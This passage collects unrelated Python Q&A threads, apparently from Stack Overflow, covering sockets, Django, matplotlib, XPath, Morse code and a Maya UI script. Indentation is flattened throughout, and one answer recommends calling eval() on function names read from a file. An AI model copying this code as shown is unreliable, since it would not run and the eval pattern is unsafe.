Sent: request type 02
Received: onse type 01
response typ
And you can see that in a real program that actually tried to process the
responses programmatically, a response like `resp` or `onse type 01\nresponse
typ` isn't going to be very useful…
* * *
* Note that `SocketServer` is an ancient design that nobody really loves. There's a reason Python 3 added [`asyncio`](https://docs.python.org/3.4/library/asyncio.html), and that people in Python 2 usually use third-party frameworks like [Twisted](https://twistedmatrix.com/) and [gevent](http://www.gevent.org/). They're both simpler for simple tasks, and more flexible/powerful (and a lot more efficient) for complex tasks.
|
Testing the equality of the sum of a digits within a number on python?
Question: for example `def f(n):`
and I wanna check whether the sum of the numbers within `n` equal to 100
whether it is in 1s, 2s, 3,s 4s, 5s and so on, depending on the length of `n`.
f(5050)
>>> True
This tests whether `5 + 0 + 5 + 0 == 100` and whether `50 + 50 ==100` and if
any are true, it returns `True`.
Whether it tests in 1s, 2s 3s 4s and so on, depends on the length of the
number. For example a number with a length of 5 can only be tested in 1s.
f(12345)
>>> False
This tests whether `1 + 2 + 3 + 4 + 5 == 100` and only that.
If the length of `n` was 15, it would test the digits in 1s, 3s and 5s.
and finally one more example:
f(25252525)
>>> True
This would test whether `2+5+2+5+2+5+2+5 == 100` and `25+25+25+25==100` and
whether `2525+2525==100` So `n`, which has a length of 8 would be tested in 1s
, 2s , and 4s. It cannot be tested with 3s and 5s because the length of all
the digits within the number being summed up must be the same.
I hope I was able to explain what I'm after. Usually I would post what I've
tried but I have no idea how to iterate over the digits of a number in such a
way
Answer: The below approach uses generator to split the integer, and no `integer <->
string` conversion.
This will likely be the most efficient approach of the ones currently listed.
import math
# Define a generator that will split the integer v into chunks of length cl
# Note: This will return the chunks in "reversed" order.
# split(1234, 2) => [34, 12]
def split(v, cl):
while v:
(v,c) = divmod(v, 10**cl)
yield c
def f(v):
# Determine the number of digits in v
n = int(math.log10(v)) + 1
m = int(math.sqrt(v))
# Check all chunk lengths in [1, sqrt(v)]
for cl in range(m):
# Skip the chunk lengths that would result in unequal chunk sizes
if n % (cl+1): continue
# Create a generator, to split the value v into chunks of length cl
chunks = split(v, cl+1)
# If the sum of the chunks is 100, print a message and return True
if sum(chunks) == 100:
print("sum = 100 with chunklength: %d" % cl)
return True
# If we get here, none of the chunk lengths result in a sum of 100, return False
return False
print(f(5050)) # True (cl=2)
print("---")
print(f(12345)) # False
print("---")
print(f(25252525)) # True (cl=2)
print("---")
Output:
sum = 100 with chunklength: 2
True
---
False
---
sum = 100 with chunklength: 2
True
---
Without comments and debugging `print`:
import math
def split(v, cl):
while v:
(v,c) = divmod(v, 10**cl)
yield c
def f(v):
n = int(math.log10(v)) + 1
m = int(math.sqrt(v))
for cl in range(m):
if n % (cl+1): continue
if sum(split(v, cl+1)) == 100: return True
return False
print(f(5050)) # True
print(f(12345)) # False
print(f(25252525)) # True
|
Python3: Calling functions saved as values (strings) in a dictionary
Question: _Background:_
I am reading a python file (.py) that has a number of functions defined and
using a regex to get the names of all the functions and store them in a list.
d_fncs = {}
list_fncs = []
with open('/home/path/somefile.py', 'r') as f:
for row in f:
search = re.search(r'def (.*)\(', row)
if search:
list_fncs.append(search.group(1))
The above works fine and as expected returns a list of of the function names
as strings. I have another list which I plan to use as a counter.
counter = [str(i) for i in range(1,len(list_fncs)+1)]
Finally, I zip the two lists to get a dictionary where the 'keys' are numbers
and the associated 'values' are function names
d_fncs = dict(zip(counter,list_fncs))
_The problem:_
The intent here is to ask user for an input which would be matched with the
key of this dictionary (counter). Once the key is matched, the function
associated with it is executed. Something like this happens later in the code:
def option_to_run(check, option_enter_by_user):
if check == 'True':
return (connection(d_fncs[option]))
def connection(fnc):
conn_name = Connect(some args..) #class imported
fnc(conn_name)
In this case, as the values from dict are string, I get the following error:
File "/home/path/filename.py", line 114, in connection
fnc(conn_name)
TypeError: 'str' object is not callable
However, if I manually make a dict and run it then I have no issues and
functions work as expected:
d_fncs_expected = {'1': function1, '2': function2, ....}
Right now what I am getting is this:
d_fncs = {'1': 'function1', '2': 'function2', ....}
....what can I do to get the dictionary to work in a way so I can call these
functions? I want the values not to be strings but a type:class
Answer: Replace
fnc(conn_name)
to
eval(fnc)(conn_name) # or eval(fnc(conn_name))
**or**
globals()[fnc](conn_name)
**For example**
def myfn(arg):
print(arg +" is printed")
d = {1: 'myfn'}
fun_name = d[1] # 'myfn'
>>>fun_name("something")
TypeError: 'str' object is not callable
>>>eval(fun_name)("something")
something is printed
>>>globals()[fun_name]("someting")
something is printed
|
Unpack dictionary that contains a list of dictionaries and insert in columns
Question: With the data below, I'm trying to unfold a dictionary that contains a list of
dictionaries, and then group each key with the corresponding values of the
other dictionaries together. For example:
result = {
'themes' : [{
'a' : 'orange',
'b' : 6,
'c' : 'neutral',
'd' : 6,
'e' : 0.24
}, {
'a' : 'banana',
'b' : 6,
'c' : 'neutral',
'd' : 6,
'e' : 0.16
}, {
'a' : 'phone',
'b' : 5,
'c' : 'neutral',
'd' : 5,
'e' : 0.02
}
]
}
...should become something along these lines:
themes={'a' : ['orange','banana', 'phone']}
count={'b' : [6,6,5]}
s_score={'c' : [neutral, neutral, neutral]}
...and so on.
I've looked [here](http://stackoverflow.com/questions/16485247/dictionary-
that-contains-list), [here](http://stackoverflow.com/questions/3421906/how-to-
merge-lists-of-dictionaries), and
[here](http://stackoverflow.com/questions/38987/how-can-i-merge-two-python-
dictionaries-in-a-single-expression) among other places, but couldn't find
something close enough to what I want to do.
[This](http://stackoverflow.com/questions/26972204/combine-dictionary-entries-
by-common-elements) came pretty close, but it's checking for at least one or
more common values, whereas mine should group common keys. I know I can
separate the outer key from the values like this:
>>>(k, v), = result.items()
>>>k
>>>'themes'
>>>v
>>>[{
'a' : 'orange',
'b :6,
'c' : 'neutral',
'd' : 6,
'e' : 0.24
}, {
'a' : 'banana',
'b' : 6,
'c' : 'neutral',
'd' : 6,
'e' : 0.16
}, {
'a' : 'phone',
'b' : 5,
'c' : 'neutral',
'd' : 5,
'e' : 0.02
}
]
but how do I get the v list of dictionaries to the way I described? Do I have
to convert them to sets first?
To make my intention clear, my ultimate goal is iterate through the list of
values of the keys that I want to keep, so I can enter them into their
respective columns in my fairly basic flask-sqlalchemy SQLite database. So in
the end I'll be able to query and get them displayed as html:
+-----------------+----------+----------+-------+
| a | b | c | d |
+-----------------+----------+----------+-------+
| orange | 2.4 | neutral | 6 |
| banana | 1.6 | neutral | 6 |
+-----------------+----------+----------+-------+
Answer: You should first flatMap all your values in the list of tuples (`[('a',
'orange'), ('c', 'neutral'), ('b', '6')`..]) and then groupBy first element. I
would do it this way:
import itertools
pairs = itertools.chain.from_iterable([d.items() for d in result["themes"]])
result = {}
for key, elem in pairs:
result.setdefault(key, []).append(elem)
print result
|
How to get all elements between two nodes with XPATH?
Question: I have HTML code like this:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>test</title>
</head>
<body>
<h3><a href="#" name='title1'>Title</a></h3>
<div>para1</div>
<div>para2</div>
<div>para3</div>
<h3><a href="#" name='title2'>Title</a></h3>
<div>para4</div>
<div>para5</div>
</body>
</html>
What I want is:
<div>para1</div>
<div>para2</div>
<div>para3</div>
So I want to get the first part in this html. I need to ignore the second
part.
for now I just work out this way:
#!/usr/bin/env python
# encoding: utf-8
import unittest
from lxml import etree
class SearchPara(unittest.TestCase):
def setUp(self):
with open('test.html') as f:
self.html = f.read()
def test_parse_html(self):
paras = ''
page = etree.HTML(self.html)
a_ele = page.xpath("//h3/a[@name='title1']/..")
if a_ele is None or len(a_ele) < 1:
return paras
para = a_ele[0].xpath('following-sibling::*[1][name(.) != "h3"]')
while para is not None and len(para) > 0:
print para
paras += etree.tostring(para[0])
para = para[0].xpath('following-sibling::*[1][name(.) != "h3"]')
print paras
def tearDown(self):
pass
if __name__ == "__main__":
unittest.main()
As you can see, this is a little bit complicated, what I want to know if I
have beeter way to do this?
Answer: As far as I know, there is no general way to select elements between 2
elements using XPath 1.0.
The same output still can be achieved if we can define the assertion
differently. For example, by selecting `<div>`s having nearest preceding
sibling `<a>` value equals `"Title: Part I"` :
//div[preceding-sibling::a[1][. = 'Title: Part I']]
and selecting the next `<div>`s group only require changing the `<a>` criteria
:
//div[preceding-sibling::a[1][. = 'Title: Part II']]
The test method to see above xpath in action :
def test_parse_html(self):
page = etree.HTML(self.html)
paras = ''
para = page.xpath("//div[preceding-sibling::a[1][. = 'Title: Part I']]")
for p in para:
paras += etree.tostring(p)
print paras
Side note. xpath for populating `a_ele` in your code can be simplified this
way :
a_ele = page.xpath("//a[h3 = 'Title: Part I']")
or even further, since the only text element within the `<a>` is "Title: Part
I" :
a_ele = page.xpath("//a[. = 'Title: Part I']")
|
choose a list by string python
Question: I'm having a problem with lists. Their are 4 list, each with a specific name:
a=[]
b=[]
c=[]
d=[]
Now I want to store values from a whole bunch of xls files in these lists. All
these xls files have a name corresponding with the list. For example:
1-2013_a.xls
1-2014_b.xls
I iterate through these files with the following code:
rootdir='C:\users\desktop\folder'
for subdir, dirs, files in os.walk(rootdir):
for file in files:
....
Here i want to append date from the xls file to the list with the same letter
as in the name of the file. I could do it like this:
rootdir='C:\users\desktop\folder'
for subdir, dirs, files in os.walk(rootdir):
for file in files:
if(file[7]=='a'):
....
if(file[7]=='b'):
....
if(file[7]=='c'):
....
if(file[7]=='d'):
....
But in my program i have 20 lists, so 20 times an if-condition is a bit odd.
Is it possible to call a list by a string without using a dictionary ?
Thanks for helping me in advance
Answer: You can use a dictionary of lists:
dct = {"a": [],
...
"d": []}
And then, you can do `if file[7] in dct:` and access the list using
`dct[file[7]]`
* * *
Even better, you can use a
[`defaultdict`](https://docs.python.org/2/library/collections.html#collections.defaultdict)
from collections import defaultdict
dct = defaultdict(list)
Now, within your code, you simply write:
rootdir='C:\users\desktop\folder'
for subdir, dirs, files in os.walk(rootdir):
for file in files:
...
dct[file[7]].append(values)
This way, you won't have to define any keys of the dictionary, they will be
initialized on the go with an empty list.
|
zipimporter can't find/load sub-modules
Question: I'm trying to load a sub-module from a ZIP package but it won't work. How to
do it right?
**foo.zip**
foo/
__init__.py
bar.py
**test.py**
import os
import zipimport
dirname = os.path.dirname(__file__)
importer = zipimport.zipimporter(os.path.join(dirname, 'foo.zip'))
print importer.is_package('foo')
print importer.load_module('foo')
print importer.load_module('foo.bar')
**Output**
$ python test.py
True
<module 'foo' from 'foo.zip/foo/__init__.py'>
Traceback (most recent call last):
File "test.py", line 8, in <module>
print importer.load_module('foo.bar')
zipimport.ZipImportError: can't find module 'foo.bar'
* * *
**Update** 2015/04/11 06:30 AM PT
The following would work, but is this the real solution to the problem? The
`zipimport.zipimporter` documentation explicitly states _"fullname must be the
fully qualified (dotted) module name."_ and has an `is_package()` method that
seems to function properly.
import os
import zipimport
dirname = os.path.dirname(__file__)
importer = zipimport.zipimporter(os.path.join(dirname, 'foo.zip'))
def load_module(name):
parts = name.split('.')
module = importer.load_module(parts[0])
full_name = parts[0]
for part in parts[1:]:
full_name += '.' + part
if not hasattr(module, '__path__'):
raise ImportError('%s' % full_name)
path = module.__path__[0]
module = zipimport.zipimporter(path).load_module(part)
return module
print load_module('foo.bar')
Answer: It will load if you change `importer.load_module('foo.bar')` to
`importer.load_module('foo/bar')`. I am not sure why, because the
documentation reads
> load_module(fullname)
>
> Load the module specified by fullname. fullname must be the fully qualified
> (dotted) module name. It returns the imported module, or raises
> ZipImportError if it wasn’t found.
|
Installing NumPy on Windows 8.1 with Python 2.7.x
Question: I'm very new to Python and programming world and has been going along with
tutorials from newcoder.io [This Here! ](http://newcoder.io/dataviz/part-0/) I
have been doing as per the instructions but when I try to install NumPy I get
an error.
" error: Microsoft Visual C++ 9.0 is required (Unable to find vcvarsall.bat).
Get it from <http://aka.ms/vcpython27>
* * *
Command "C:\Users\HP.virtualenvs\DataVizProj\Scripts\python.exe -c "import
setuptools, tokenize;**file** ='c:\users \appdata\local\temp\pip-build-
lsj5sj\numpy\setup.py';exec(compile(getattr(tokenize, 'open',
open)(**file**).re .replace('\r\n', '\n'), **file** , 'exec'))" install
--record c:\users\hp\appdata\local\temp\pip-6jei4k-record\instal cord.txt
--single-version-externally-managed --compile --install-headers
C:\Users\HP.virtualenvs\DataVizProj\includ te\python2.7" failed with error
code 1 in c:\users\hp\appdata\local\temp\pip-build-lsj5sj\numpy
"
But that's not enough, I tried to install VCForPython27.msi from the given
link. But still, gets the same error.
Please Help!
Answer: I recommend installing the Anaconda distribution of Python. It contains more
packages than you can dream of, including numpy of course:
<http://continuum.io/downloads>
The installation is as straightforward as installing the usual Python, no
matter what OS you are on.
|
How can I display email messages in Tkinter?
Question: I've been writing an email application in python/tkinter, where I download the
messages from my gmail then display them in a window.
The problem I keep getting though is that most messages contain html and come
out as gibberish.
Is there any way properly display the emails in tkinter, maybe without the
pictures, in a way which doesn't come out as loads of html code etc. I've
tried html2text but this doesn't work for all emails and still displays them
pretty badly (big gaps between words etc)?
Thanks
Answer: You can use `BeautifulSoup` assuming you have the `HTML` data and an `id`
corresponding to the element in which the message body is contained. Please
let me know if that doesn't make sense.
from bs4 import *
soup = BeautifulSoup(html_data_in_here)
text = soup.find(id = body_id).getText()
|
Python OverflowError: math range error
Question: Similar to [Python: OverflowError: math range
error](http://stackoverflow.com/questions/4050907/python-overflowerror-math-
range-error). Below is my code, along with the error (and variable values) I
get when I try to debug. Doing math manually in python console works fine. Is
it because sigma is an int? For what it's worth, the MSE variable is generated
by summing a numpy array, and the simga variable is just "100" hardcoded.
def normalize_error(sigma, mse):
return math.exp(-mse/(2*(sigma**2)))
Answer: You will get this error if your exponential value becomes too great. Since you
are using `math.exp`, this value will be a float.
Depending on your system, the largest float number in your system will be
defined by your
[`sys.float_info`](https://docs.python.org/2/library/sys.html#sys.float_info).
>>> import sys
>>> sys.float_info
sys.float_info(max=1.7976931348623157e+308, max_exp=1024, max_10_exp=308, min=2.2250738585072014e-308, min_exp=-1021, min_10_exp=-307, dig=15, mant_dig=53, epsilon=2.220446049250313e-16, radix=2, rounds=1)
So on my system, `1.7976931348623157e+308` is the largest float I could
possibly have.
* * *
You can check the following runs for an analysis of the same:
>>> import math
>>> def normalize_error(sigma, mse):
... return math.exp(-mse/(2*(sigma**2)))
...
>>> normalize_error(3, 4)
0.36787944117144233
>>> normalize_error(3, -4)
1.0
>>> normalize_error(.3, -4)
4477014353.361036
>>> normalize_error(.3, -100)
1.8824011022575583e+241
>>> normalize_error(.02, -100)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 2, in normalize_error
OverflowError: math range error
|
Can one get hierarchical graphs from networkx with python 3?
Question: I am trying to display a tree graph of my class hierarchy using
**`networkx.`** I have it all graphed correctly, and it displays _fine_. But
as a circular graph with crossing edges, it is a pure hierarchy, and it seems
I ought to be able to display it as a tree.
I have googled this extensively, and every solution offered involves using
**`pygraphviz`**... but **_PyGraphviz does not work with Python 3
(documentation from the pygraphviz site)_**.
Has anyone been able to get a tree graph display in Python 3?
Answer: Here is a simple recursive program to define the positions:
import networkx as nx
def hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5,
pos = None, parent = None):
'''If there is a cycle that is reachable from root, then this will see infinite recursion.
G: the graph
root: the root node of current branch
width: horizontal space allocated for this branch - avoids overlap with other branches
vert_gap: gap between levels of hierarchy
vert_loc: vertical location of root
xcenter: horizontal location of root
pos: a dict saying where all nodes go if they have been assigned
parent: parent of this branch.'''
if pos == None:
pos = {root:(xcenter,vert_loc)}
else:
pos[root] = (xcenter, vert_loc)
neighbors = G.neighbors(root)
if parent != None:
neighbors.remove(parent)
if len(neighbors)!=0:
dx = width/len(neighbors)
nextx = xcenter - width/2 - dx/2
for neighbor in neighbors:
nextx += dx
pos = hierarchy_pos(G,neighbor, width = dx, vert_gap = vert_gap,
vert_loc = vert_loc-vert_gap, xcenter=nextx, pos=pos,
parent = root)
return pos
and an example usage:
G=nx.Graph()
G.add_edges_from([(1,2), (1,3), (1,4), (2,5), (2,6), (2,7), (3,8), (3,9), (4,10),
(5,11), (5,12), (6,13)])
pos = hierarchy_pos(G,1)
nx.draw(G, pos=pos, with_labels=True)
py.savefig('hierarchy.png')
Ideally this should rescale the horizontal separation based on how wide things
will be beneath it. I'm not attempting that now.
|
Morse code to alphanumeric (python)
Question: I need to write a program that can encode/decode messages using morse code.
To encode a message, the program needs to read an input file containing the
alphanumeric characters then output the corresponding Morse encoded message.
To decode a message, the program will read a file with the Morse code then
output the alphanumeric characters.
This is what I have so far but I can't get it to decode correctly:
import string
def to_from(text, dict_in):
for i in text:
if i.upper() in dict_in:
print "%6s" % (dict_in[i]),
else:
print i, "not in dictionary"
print
letters = {'A': '*-', 'B': '-***', 'C': '-*-*',
'D': '-**', 'E': '*', 'F': '**-*',
'G': '--*', 'H': '****', 'I': '**',
'J': '*---', 'K': '-*-', 'L': '*-**',
'M': '--', 'N': '-*', 'O': '---',
'P': '*--*', 'Q': '--*-', 'R': '*-*',
'S': '***', 'T': '-', 'U': '**-',
'V': '***-', 'W': '*--', 'X': '-**-',
'Y': '-*--', 'Z': '--**',
'0': '-----', '1': '*----', '2': '**---',
'3': '***--', '4': '****-', '5': '*****',
'6': '-****', '7': '--***', '8': '---**',
'9': '----*'
}
frommorse = dict((b,a) for a,b in letters.items())
text = raw_input('What is the translation you need?\n')
text=text.strip()
if text[0] in string.letters:
to_from(text, letters)
else:
to_from(text, frommorse)
When I tried decoding *-, it would print "E T" instead of A. What am I doing
wrong?
Answer: For encoding a string to morse code try this
APNU = {'A': '.-', 'B': '-...', 'C': '-.-.',
'D': '-..', 'E': '.', 'F': '..-.',
'G': '--.', 'H': '....', 'I': '..',
'J': '.---', 'K': '-.-', 'L': '.-..',
'M': '--', 'N': '-.', 'O': '---',
'P': '.--.', 'Q': '--.-', 'R': '.-.',
'S': '...', 'T': '-', 'U': '..-',
'V': '...-', 'W': '.--', 'X': '-..-',
'Y': '-.--', 'Z': '--..',
'0': '-----', '1': '.----', '2': '..---',
'3': '...--', '4': '....-', '5': '.....',
'6': '-....', '7': '--...', '8': '---..',
'9': '----.'
}
string = 'yourstring'
for char in string:
print APNU[char.upper()]
or
[APNU[char.upper()] for char in string]
|
Python executable to Linux list files with sizes
Question: I need my test.py to display the following in LINUX shell \- list all files in
directory \- descending order of file size in bytes (must display bytes) \-
show total files and total size at end (X files X total size) \- does not
include sub directories or files in other subdirectories
here is my python executable
#!/usr/bin/env python
import subprocess
subprocess.call(["ls", "-l", "-S", "-s"])
this shows me the files and their size in descending order but it includes
folders/subdirectories which I do not want
additionally replacing the subprocess.call with subprocess.call(["find",
"-type","f"]) shows me only the files without the unneeded dates and times but
I don't know how to get the info I want.
My python code:
#!/usr/bin/env python
import subprocess, os, operator
directory='e:\\Programs/Cyg/home/Dylan/test'
list=os.listdir(directory)
pairs=[]
for file in list:
if os.path.isfile:
location=os.path.join(directory, file)
size=os.path.getsize(location) pairs.append((file,size))
pairs.sort(key=operator.itemgetter(0))
for pair in pairs:
print (pair)
Answer: ## Current directory
from os import listdir
from os.path import isfile, getsize
from operator import itemgetter
files = [(f, getsize(f)) for f in listdir('.') if isfile(f)]
files.sort(key=itemgetter(1), reverse=True)
for f, size in files:
print '%d %s' % (size, f)
print '(%d files %d total size)' % (len(files), sum(f[1] for f in files))
## Other directories
from os import listdir
from operator import itemgetter
from os.path import isfile, getsize, join, basename
def listfiles(dir):
paths = (join(dir, f) for f in listdir(dir))
files = [(basename(p), getsize(p)) for p in paths if isfile(p)]
files.sort(key=itemgetter(1), reverse=True)
for f, size in files:
print '%d %s' % (size, f)
print '(%d files %d total size)' % (len(files), sum(f[1] for f in files))
|
'UserCreationForm' object has no attribute 'get_username' django 1.8
Question: So I'm a newbie to django, know python enough not to call myself a beginner
but I'm by no means a pro. I'm just trying to get user authentication working
on a small django app. I'm using the default authentication system
<https://docs.djangoproject.com/en/1.8/topics/auth/default/> and the built in
forms, the login, logout, etc have their own views but the UserCreationForm
doesn't have it's own view, so I figured I had to make my own. Not sure what
I'm doing wrong.
this is my views.py
1 from django.shortcuts import render
2 from django.http import HttpResponse
3 from django.contrib.auth.forms import UserCreationForm
4 from django.contrib.auth import login
5
6 def home(request):
7 return HttpResponse("This is a barebones homepage")
8
9 def register(request):
10 registered = False
11
12 if request.method == 'POST':
13 user_form = UserCreationForm(data=request.POST)
14
15 if user_form.is_valid():
16 user = user_form.save()
17 username = user_form.get_username()
18 password = user_form.clean_password2()
19 login(request,user)
20 else:
21 print user_form.errors
22 else:
23 user_form = UserCreationForm()
24
25 return render(request, 'registration/register.html', {'user_form': user_form, 'registered': registered} )
~
this is my register.html
<!DOCTYPE html>
<html>
<head>
<title>Jet!</title>
</head>
<body>
{% if registered %}
Jet! says Thank you for registering!
<a href='/'>Return to the homepage.</a><br />
{% else %}
<form method="post" action="/register/">
{% csrf_token %}
{{ user_form.as_p }}
<input type="submit" name="submit" value="Register" />
</form>
{% endif %}
</body>
</html>
Answer: Firstly, the line `username = user_form.get_username()` is giving an error
because, as the message says, the form does not have a `get_username` method.
You can access the username with user_form.cleaned_data['username']
Secondly, the line `password = user_form.clean` would give an error, because
the form has no attribute `clean`. If you needed it, you could get the value
from the `password1` field with `user_form.cleaned_data['password1']`.
Before you `login` the user, you must authenticate them, otherwise you will
get an error about the user having no attribute `backend`.
Putting it together, you have:
if user_form.is_valid():
user_form.save()
username = user_form.cleaned_data['username']
password = user_form.cleaned_data['password1']
user = authenticate(username=username, password=password)
login(request, user)
You'll have to import the `authenticate` method by changing your import to:
from django.contrib.auth import authenticate, login
Note that you haven't set `registered=True` anywhere in your code. Usually, it
is good practice to redirect after the form has been successfully submitted,
to prevent duplicate submissions.
|
matplotlib: Different Marker colour when value crosses a threshold
Question: Iam new to matplotlib and here is an image of simplified plot of the
situation: <http://postimg.org/image/qkdm6p31p/>
I would like to have a red marker for the values above a certain threshold
value, in this case, the two points above the red line to have a red marker.
Is it possible in matplotlib?
And I really don't get why my code never completes execution when I close the
window.
Here's my code :
import wx
import numpy as np
import matplotlib
matplotlib.use('WXAgg')
import matplotlib.pyplot as plt
from matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas
class GraphFrame(wx.Frame):
def __init__(self):
self.displaySize = wx.DisplaySize()
wx.Frame.__init__(self, None, -1,
style = wx.DEFAULT_FRAME_STYLE,
size = (self.displaySize[0], self.displaySize[1]))
self.threshold = 3000
self.create_main_panel()
self.draw_plot()
def create_main_panel(self):
self.panel = wx.Panel(self,-1, style = wx.SUNKEN_BORDER)
self.fig = plt.figure()
self.canvas = FigureCanvas(self.panel, -1, self.fig)
self.panelsizer = wx.BoxSizer(wx.HORIZONTAL)
self.panelsizer.Add(self.canvas, 1, wx.EXPAND)
self.panel.SetSizer(self.panelsizer)
mainsizer = wx.BoxSizer(wx.VERTICAL)
mainsizer.Add(self.panel, 1, wx.EXPAND )
self.SetSizerAndFit(mainsizer)
self.init_plot()
def init_plot(self):
self.axes = self.fig.add_subplot(111)
self.axes.set_axis_bgcolor('white')
self.axes.set_title('TITLE', size=12)
self.data = ['2000','2869','4694','2356','3600','1500']
self.xmin = 0
self.xmax = len(self.data)
def draw_plot(self):
self.plot_data = self.axes.plot(
self.data,
linewidth=3,
label = "plot1",
marker = "o",
markersize =7,
)[0]
self.plot_data.set_xdata(np.arange(len(self.data)))
self.plot_data.set_ydata(np.array(self.data))
thresholdplot = self.axes.plot([self.xmin,self.xmax], [self.threshold,self.threshold],"r--",label = "threshold",linewidth = 1)
lg=self.axes.legend(loc="upper left", bbox_to_anchor=(1,1),ncol=1)
self.canvas.draw()
if __name__ == "__main__":
app = wx.PySimpleApp()
app.frame = GraphFrame()
app.frame.Show()
app.MainLoop()
print "Finished"
I am using Matplotlib, wx with Python 2.7 Would really appreciate your help.
Answer: Perhaps the easiest way to accomplish this effect would be to simply plot the
subset of your data that is greater than the threshold value a second time.
For example:
import matplotlib.pyplot as plt
import numpy as np
fig, ax = plt.subplots()
ys = np.random.rand(10)
threshold = 0.5
ax.axhline(y=threshold, color='r', linestyle=':')
ax.plot(ys)
greater_than_threshold = [i for i, val in enumerate(ys) if val>threshold]
ax.plot(greater_than_threshold, ys[greater_than_threshold],
linestyle='none', color='r', marker='o')
plt.show()
|
Translating Java code to Python
Question: I'm trying translate this Java code to Python:
double grades = -32.33f;
System.out.println("grades: "+grades);
double radians = Math.toRadians(grades);
System.out.println("rad: "+radians);
long radiansUp8 = 0xFFFF_FFFFL & (long)(radias * 100_000_000);
System.out.println("rad: "+radiansUp8);
String hex = Long.toHexString(radiansUp8);
System.out.println("signed to hex: "+hex);
I've done this:
import math
grades = -32.33
radians = math.radians(grades)
print radians
radians = radians * 100000000
print radians
hexValue = hex(int(radians))
print hexValue
But I'm not getting the same result. The Java code works fine, but in Python
not. This line in particular I'm not sure how translate to Python, maybe that
is the problem:
long radiansUp8 = 0xFFFF_FFFFL & (long)(radianes * 100_000_000);
The (correct) output for the Java code is:
grades: -32.33000183105469
rad: -0.5642649791276998
rad: 4238540799
signed to hex: fca2ffff
The (incorrect) output for the Python code is:
grades: -32.33
radians: -0.56426494717
radians: -56426494.717
signed to hex: -0x35cfffe
Answer: The translation for that line into Python is:
radians = 0xffffffff & long(radians * 100000000)
This gives (roughly!) the answer you expect:
>>> 0xffffffff & long(math.radians(-32.33) * 100000000)
4238540802L
* * *
What the line **does** is multiply the number of radians by 100,000,000
(giving `-56426494.71697667`), convert the result to a `long` integer
(`-56426494L`) then do a _"bitwise and"_ (see e.g.
<https://wiki.python.org/moin/BitwiseOperators>) between that and
`0xffffffff`. Your current code only performs the first of these three steps.
For a simple example of what bitwise and does:
>>> '{:04b}'.format(int('1010', 2) & (int('0111', 2)))
'0010'
For each binary digit, the output digit is `1` only if both input digits are
`1`.
|
Maya Python - Using data from UI
Question: I am working on a scripting program and struggling a bit with the UI. I've
made a couple of UIs, all of which seem to work fine individually, but I don't
know how to use the data inputted in a UI to another function. I'm trying to
get the Gun Type (selected by the user in `Bullet_Spray_Generator`) to then
affect which of the UIs is then called. Each Gun Type requires a different set
of values for the sliders, so I made a different UI for each. I think I need
to pass the data selected from the BSG into an `if` function in order to call
the correct (second) UI, but running it just always jumps to the `else`
function and closes the window. Here's my code so far:
import maya.cmds as cmds
from functools import partial
if (cmds.window("Bullet_Spray_Generator", exists = True)):
cmds.deleteUI("Bullet_Spray_Generator")
if (cmds.window("BSG2", exists = True)):
cmds.deleteUI("BSG2")
cmds.select(all=True)
cmds.delete()
def goShoot(numOfShots, distToTarget, *pArgs):
print "Begin"
cmds.deleteUI("BSG2")
createWall()
def cancelShoot(*pArgs):
print "cancel"
cmds.deleteUI("Bullet_Spray_Generator")
def createWall():
cmds.select(all=True)
cmds.delete()
wall = cmds.polyCube(h=10, w=15, d=1, name='wall')
cmds.move(0,5,0, 'wall')
def createGunUI(gunType, *pArgs):
if (GunSelectCtrl == 'Pistol'):
createPistolUI()
elif (GunSelectCtrl == 'Shotgun'):
createShotgunUI()
elif (GunSelectCtrl == 'SMG'):
createSMGUI()
elif (GunSelectCtrl == 'Sniper Rifle'):
createSniperUI()
elif (GunSelectCtrl == 'RPG'):
createRPGUI()
else:
print "Something went wrong"
cancelShoot()
def createPistolUI():
cmds.window("Pistol")
cmds.columnLayout(adjustableColumn=True)
cmds.deleteUI("Bullet_Spray_Generator")
NumBulletsCtrl = cmds.intSliderGrp(label='Number of Shots',
minValue=1, maxValue=9, value=4, field=True)
DistCtrl = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = lambda *args: goShoot(cmds.intSliderGrp(NumBulletsCtrl,
query=True, value=True), cmds.intSliderGrp(DistCtrl, query=True, value=True), ))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("Pistol")
def createShotgunUI():
cmds.window("Shotgun")
cmds.columnLayout(adjustableColumn=True)
cmds.deleteUI("Bullet_Spray_Generator")
NumBulletsCtrl = cmds.intSliderGrp(label='Number of Shots',
minValue=1, maxValue=4, value=2, field=True)
DistCtrl = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = lambda *args: goShoot(cmds.intSliderGrp(NumBulletsCtrl,
query=True, value=True), cmds.intSliderGrp(DistCtrl, query=True, value=True), ))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("Shotgun")
def createSMGUI():
cmds.window("SMG")
cmds.columnLayout(adjustableColumn=True)
cmds.deleteUI("Bullet_Spray_Generator")
NumBulletsCtrl = cmds.intSliderGrp(label='Number of Shots',
minValue=1, maxValue=20, value=4, field=True)
DistCtrl = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = lambda *args: goShoot(cmds.intSliderGrp(NumBulletsCtrl,
query=True, value=True), cmds.intSliderGrp(DistCtrl, query=True, value=True), ))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("SMG")
def createSniperUI():
cmds.window("Sniper")
cmds.columnLayout(adjustableColumn=True)
cmds.deleteUI("Bullet_Spray_Generator")
NumBulletsCtrl = cmds.intSliderGrp(label='Number of Shots',
minValue=1, maxValue=2, value=2, field=True)
DistCtrl = cmds.intSliderGrp(label='Distance to Target (metres)',
minValue=1, maxValue=50, value=25, field=True)
cmds.button(label = "Fire", command = lambda *args: goShoot(cmds.intSliderGrp(NumBulletsCtrl,
query=True, value=True), cmds.intSliderGrp(DistCtrl, query=True, value=True), ))
cmds.button(label = "Cancel", command = cancelShoot)
cmds.showWindow("Sniper")
def createRPGUI():
cmds.window("RPG")
cmds.columnLayout(adjustableColumn=True)
cmds.deleteUI("Bullet_Spray_Generator")
